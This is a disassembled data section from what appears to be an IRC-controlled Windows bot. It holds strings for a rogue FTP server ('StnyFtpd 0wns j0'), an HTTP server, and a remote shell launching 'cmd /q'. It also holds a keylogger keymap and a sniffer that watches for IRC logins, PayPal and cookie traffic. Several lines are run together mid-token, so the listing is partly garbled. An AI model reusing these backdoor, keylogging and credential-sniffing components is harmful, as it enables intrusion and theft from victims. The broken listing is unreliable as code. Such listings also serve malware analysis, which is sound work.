		align 4
a226TransferCom	db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_40F168+3E0o
		align 4
aList_0		db 'LIST',0             ; DATA XREF: sub_40F168+3CDo
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
					; DATA XREF: sub_40F168+395o
		align 4
aPasv		db 'PASV',0             ; DATA XREF: sub_40F168+382o
		align 10h
a200TypeSetToI_	db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_40F168+372o
aI:					; DATA XREF: sub_40F168+35Eo
					; .nsp0:0043FF58o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_40F168+33Bo
aA:					; DATA XREF: sub_40F168+327o
					; .nsp0:0043FF64o
		unicode	0, <A>,0
aType		db 'TYPE',0             ; DATA XREF: sub_40F168:loc_40F471o
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_40F168+2FEo
		align 4
off_43BA98	dd offset dword_445750	; DATA XREF: sub_40F168+2EAo
a350Restarting_	db '350 Restarting.',0Ah,0 ; DATA XREF: sub_40F168+2DDo
		align 10h
aRest		db 'REST',0             ; DATA XREF: sub_40F168+2C9o
		align 4
a215Stnyftpd	db '215 StnyFtpd',0Ah,0 ; DATA XREF: sub_40F168+2BCo
		align 4
aSyst		db 'SYST',0             ; DATA XREF: sub_40F168+2A8o
		align 10h
a230UserLoggedI	db '230 User logged in.',0Ah,0 ; DATA XREF: sub_40F168+29Bo
		align 4
aPass		db 'PASS',0             ; DATA XREF: sub_40F168+287o
		align 10h
a331PasswordReq	db '331 Password required',0Ah,0 ; DATA XREF: sub_40F168+277o
		align 4
aSS_0		db '%s %s',0            ; DATA XREF: sub_40F168+251o
		align 10h
a220Stnyftpd0wn	db '220 StnyFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_40F168+1C9o
		align 4
unk_43BB28	db  2Dh	; -		; DATA XREF: sub_40F891+3F8o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerFailedRe	db ' server failed, returned %d',0
asc_43BB50	db 0Dh,0Ah,0		; DATA XREF: sub_40F891+2CFo
					; sub_41AD75+F2o
		align 4
aGet_0		db 'GET ',0             ; DATA XREF: sub_40F891+269o
		align 4
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FCEC+F6o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FCEC+D3o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_40FCEC+97o
		align 4
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40FCEC+83o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_40FCEC:loc_40FD51o
		align 4
aTextHtml	db 'text/html',0        ; DATA XREF: sub_40FCEC+5Eo
		align 10h
unk_43BD70	db  2Dh	; -		; DATA XREF: .nsp0:004100FDo
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_35	db ' failed to start worker thread, error %d',0
		align 4
unk_43BDA8	db  2Dh	; -		; DATA XREF: .nsp0:00410079o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aWorkerThreadOf	db ' worker thread of server thread: %d.',0
		align 4
aS_5		db '\%s',0              ; DATA XREF: .nsp0:0040FE9Do
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_41011E+64Eo
		align 4
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41011E+633o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 10h
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_41011E+618o
		align 10h
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_41011E+589o
		align 4
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_41011E+561o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_41011E:loc_410636o
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_41011E+511o
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_41011E+471o
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_41011E+434o
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_41011E+401o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_41011E:loc_4104E0o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_41011E+3BBo
		align 4
aSS_1		db '%s%s/',0            ; DATA XREF: sub_41011E+374o
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41011E+330o
					; sub_41011E+486o
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_41011E+30Eo
		align 4
aS_0		db '<%s>',0             ; DATA XREF: sub_41011E+2E4o
					; sub_41011E+413o
		align 10h
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_41011E+2BAo
aAm		db 'AM',0               ; DATA XREF: sub_41011E+290o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_41011E+285o
		align 4
a__		db '..',0               ; DATA XREF: sub_41011E+232o
		align 4
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41011E+1C0o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41011E+147o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41011E+12Bo
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41011E+F7o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_41011E+ADo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_41011E+78o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41011E+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_41088B+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
unk_43C280	db  2Dh	; -		; DATA XREF: sub_4109AC+15Eo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_36	db 'Failed to start client thread, error: <%d>.',0
unk_43C2BC	db  2Dh	; -		; DATA XREF: sub_4109AC+E9o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aClientConnecti	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_43C304	db  2Dh	; -		; DATA XREF: sub_410B3D+1AAo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aFailedToSta_37	db 'Failed to start connection thread, error: <%d>.',0
unk_43C344	db  2Dh	; -		; DATA XREF: sub_410B3D+E1o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aClientConnec_0	db 'Client connection to IP: %s:%d, Server thread: %d.',0
		align 4
unk_43C388	db  2Dh	; -		; DATA XREF: .nsp0:00410FAAo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedOutS	db '- User logged out: <%s@%s>.',0
		align 4
unk_43C3B4	db  2Dh	; -		; DATA XREF: .nsp0:00410F83o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorSessionru	db '- Error: SessionRun(): <%d>.',0
		align 10h
unk_43C3E0	db  2Dh	; -		; DATA XREF: .nsp0:00410F63o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedInS@	db '- User logged in: <%s@%s>.',0
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: .nsp0:00410F33o
		align 4
unk_43C41C	db  2Dh	; -		; DATA XREF: .nsp0:00410EA2o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorGetpeerna	db '- Error: getpeername(): <%d>.',0
		align 4
unk_43C448	db  2Dh	; -		; DATA XREF: .nsp0:loc_41100Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aProtocolString	db '- Protocol string too long.',0
		align 4
dword_43C474	dd 234032Dh, 676F6C72h,	2646E69h, 4C202D03h, 6E69676Fh
					; DATA XREF: sub_411020+1Bo
		dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h
		dd 203A7265h, 4073253Ch, 2E3E7325h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 45202D03h, 726F7272h
		dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h
		dd 656E7275h, 3C203A64h, 2E3E6425h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 46202D03h, 656C6961h
		dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h
		dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh
		dd 676F6C72h, 2646E69h,	43202D03h, 6E65696Ch, 6F632074h
		dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah
		dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h
		dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h
		dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h
		dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh
		dd 676F6C72h, 2646E69h,	46202D03h, 656C6961h, 6F742064h
		dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh
		dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorWsastartu	db '- Error: WSAStartup(): <%d>.',0
		align 10h
unk_43C610	db  2Dh	; -		; DATA XREF: sub_4112D7+DEo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aWaitformultipl	db '- WaitForMultipleObjects error: <%d>.',0
		align 4
unk_43C644	db  2Dh	; -		; DATA XREF: sub_4112D7+59o
					; sub_4112D7+8Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCreate	db '- Failed to create ReadShell session thread, error: <%d>.',0
		align 4
unk_43C68C	db  2Dh	; -		; DATA XREF: sub_411428+AFo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExecut	db '- Failed to execute shell.',0
unk_43C6B4	db  2Dh	; -		; DATA XREF: sub_411428+7Eo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_0	db '- Failed to create shell stdin pipe, error: <%d>.',0
		align 4
unk_43C6F4	db  2Dh	; -		; DATA XREF: sub_411428+5Co
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_1	db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_43C734	db  2Dh	; -		; DATA XREF: sub_411521+C3o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExec_0	db '- Failed to execute shell, error: <%d>.',0
		align 4
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_411521+8Co
		align 4
unk_43C774	db  2Dh	; -		; DATA XREF: sub_4115FA+A1o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aSessionreadshe	db '- SessionReadShellThread exited, error: <%ld>.',0
dword_43C7B0	dd 234032Dh, 6B636F73h,	3023473haFailedToSta_38	db '- Failed to start server on Port %d.',0
		align 4
dword_43C7E4	dd 234032Dh, 6B636F73h,	3023473haFailedToSta_39	db '- Failed to start client thread, error: <%d>.',0
		align 10h
dword_43C820	dd 234032Dh, 6B636F73h,	3023473haClientConnec_1	db '- Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
		dd 234032Dh, 6B636F73h,	3023473h
aErrorFailedToC	db '- Error: Failed to connect to target, returned: <%d>.',0
		align 4
		dd 234032Dh, 6B636F73h,	3023473h
aErrorFailedToO	db '- Error: Failed to open socket(), returned: <%d>.',0
		align 4
dword_43C8E8	dd 234032Dh, 6B636F73h,	3023473h, 7541202Dh, 6E656874h
					; DATA XREF: .nsp0:00411AC6o
		dd 61636974h, 6E6F6974h, 69616620h, 2E64656Ch, 6D655220h
		dd 2065746Fh, 72657375h, 203A6469h, 21207325h, 7325203Dh
		dd 2Eh,	4000500h, 7868746Bh, 0
aTftpTransferCo	db 'Tftp transfer complete to: %s',0
		align 4
aTftpTransferSt	db 'Tftp transfer started to: %s',0
		align 8
		dw 8
		unicode	0, <>,0
aB_1:					; DATA XREF: .nsp0:loc_4123D9o
		unicode	0, <b>,0
		dd 62000000h, 2	dup(0)
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 61000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h
dword_43D0AC	dd 38h,	38000000h, 2 dup(0)		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_43D0E4	dd 234032Dh, 6C79656Bh,	302676Fh, 7325202Dh, 0aDDDDDDS	db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: .nsp0:0041229Do
		align 4
		unicode	0, <\>,0
aSReturnS	db '%s (Return) (%s)',0 ; DATA XREF: .nsp0:0041251Eo
		align 4
aSBufferFullS	db '%s (Buffer full) (%s)',0 ; DATA XREF: .nsp0:004124DBo
		align 4
aSChangedWindow	db '%s (Changed Windows: %s)',0 ; DATA XREF: .nsp0:00412385o
		align 10h
off_43D160	dd offset dword_43D9D8	; DATA XREF: .nsp0:00412890r
		dd offset off_43D9D4
		dd offset off_43D9D0
		dd offset aHttp_0	; "HTTP"
dword_43D170	dd 6F6C2E3Ah, 6E6967h, 3 dup(0)dword_43D184	dd 0				dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 5	dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp_0		db 'HTTP',0             ; DATA XREF: .nsp0:0043D16Co
		align 10h
off_43D9D0	dd offset word_505446	; DATA XREF: .nsp0:0043D168o
off_43D9D4	dd offset off_435248+1	; DATA XREF: .nsp0:0043D164o
dword_43D9D8	dd 544F42h	dword_43D9DC	dd 234032Dh, 696E7370h,	3026666haRecvFailedRetu	db '- recv() failed, returned %d',0
		align 4
dword_43DA08	dd 234032Dh, 696E7370h,	3026666haSuspiciousSPac	db '- suspicious %s packet from: %s:%d - %s',0
dword_43DA3C	dd 234032Dh, 696E7370h,	3026666h, 2Dhdword_43DA4C	dd 4E53505Bh, 5D464649h, 0dword_43DA58	dd 234032Dh, 696E7370h,	3026666haWsaioctlFailed	db '- WSAIoctl() failed, returned %d',0
		align 4
dword_43DA88	dd 234032Dh, 696E7370h,	3026666haBindFailedRetu	db '- bind() failed, returned %d',0
		align 4
dword_43DAB4	dd 234032Dh, 696E7370h,	3026666haSocketFailedRe	db '- socket() failed, returned %d',0
		align 10h
aHashin		db ':!hashin',0         ; DATA XREF: .nsp0:00412A65o
		align 4
a_hashin	db ':.hashin',0         ; DATA XREF: .nsp0:00412A50o
		align 4
aIdent		db ':!ident',0          ; DATA XREF: .nsp0:00412A3Bo
a_ident		db ':.ident',0          ; DATA XREF: .nsp0:00412A2Ao
a_login		db ':.Login',0          ; DATA XREF: .nsp0:00412A19o
aLogin_0	db ':!Login',0          ; DATA XREF: .nsp0:00412A08o
aLogin_1	db ':!login',0          ; DATA XREF: .nsp0:004129F7o
